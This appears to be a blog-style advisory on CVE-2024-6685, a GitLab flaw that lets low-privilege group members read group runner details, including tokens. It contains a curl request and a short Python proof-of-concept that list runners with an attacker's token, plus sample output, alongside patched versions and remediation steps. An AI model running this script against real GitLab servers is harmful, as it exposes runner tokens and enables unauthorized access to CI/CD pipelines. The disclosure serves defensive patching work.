A serious security vulnerability, CVE-2024-6685, was discovered in GitLab Community Edition (CE) and Enterprise Edition (EE). Starting from version 16.7, GitLab installations are affected up to 17.1.6, 17.2.4, and 17.3.1. The issue? Group runner information could be exposed to unauthorized group members, making private CI/CD infrastructure info visible to folks who shouldn't see it. This post breaks down what went wrong, what an exploit could look like, and how to protect your projects.

What Is a GitLab Runner?

A GitLab Runner is an agent that runs build jobs (CI/CD pipelines) for your repositories. Runners can be registered at three levels:

Shared runners across all projects

Leaking information about runners—like their registration tokens, descriptions, tags, or status—could help attackers orchestrate further attacks or snoop on your infrastructure.

How Does CVE-2024-6685 Work?

Due to improper permission checks, any group member (even those with minimal access) could view group runners' details. This info disclosure includes names, descriptions, tokens, and if a runner is active.

Serious risk: Attackers with minimal group access, who typically should *not* manage runners, can read sensitive data and possibly use it to register new runners or disrupt your dev pipeline.

Suppose you have the following setup

- Group: mycompany/backend

An attacker joins this group as a *guest* (lowest access)

Ordinarily, this attacker should not see runner details. But due to the bug, the following API call works for them:

curl --header "PRIVATE-TOKEN: <attacker's token>" \
     "https://gitlab.example.com/api/v4/groups/123/runners";

Sample Output

[
    {
        "id": 45,
        "description": "Sensitive Backend Runner",
        "active": true,
        "is_shared": false,
        "tags": ["prod", "docker"],
        "token": "s3cr3ttken"  // Private!
    },
    // ...
]

This allows even guests to see the runner's description, status, tags, and sometimes sensitive *tokens*.

Here’s a Python snippet showing how a user with minimal permissions can list runners

import requests

GROUP_ID = 123  # Replace with target group ID
API_TOKEN = "ATTACKER_ACCESS_TOKEN"
GITLAB_URL = "https://gitlab.example.com";

headers = {'PRIVATE-TOKEN': API_TOKEN}
url = f"{GITLAB_URL}/api/v4/groups/{GROUP_ID}/runners"

response = requests.get(url, headers=headers)
if response.status_code == 200:
    print("[+] Runners exposed!")
    print(response.json())
else:
    print("[-] Access denied or group doesn't exist.")

Expected: Only owners or maintainers see this info.
With CVE-2024-6685: *Any* group member can see the runners.

Update GitLab immediately:

- 17.1.7 or later
- 17.2.5 or later
- 17.3.2 or later

References

- GitLab Official Security Advisory
- CVE-2024-6685 on NVD
- GitLab Issue #464787

Conclusion

CVE-2024-6685 proves that even so-called “read-only” or “guest” access can expose more than expected. If you run GitLab and use group runners, updating ASAP isn’t just good practice—it’s a must. Review your group permissions, rotate your runner tokens, and stay alert for new disclosures.


Stay safe, automate your updates, and make sure only those who need to know about your runners actually do.

Timeline

Published on: 09/16/2024 22:15:20 UTC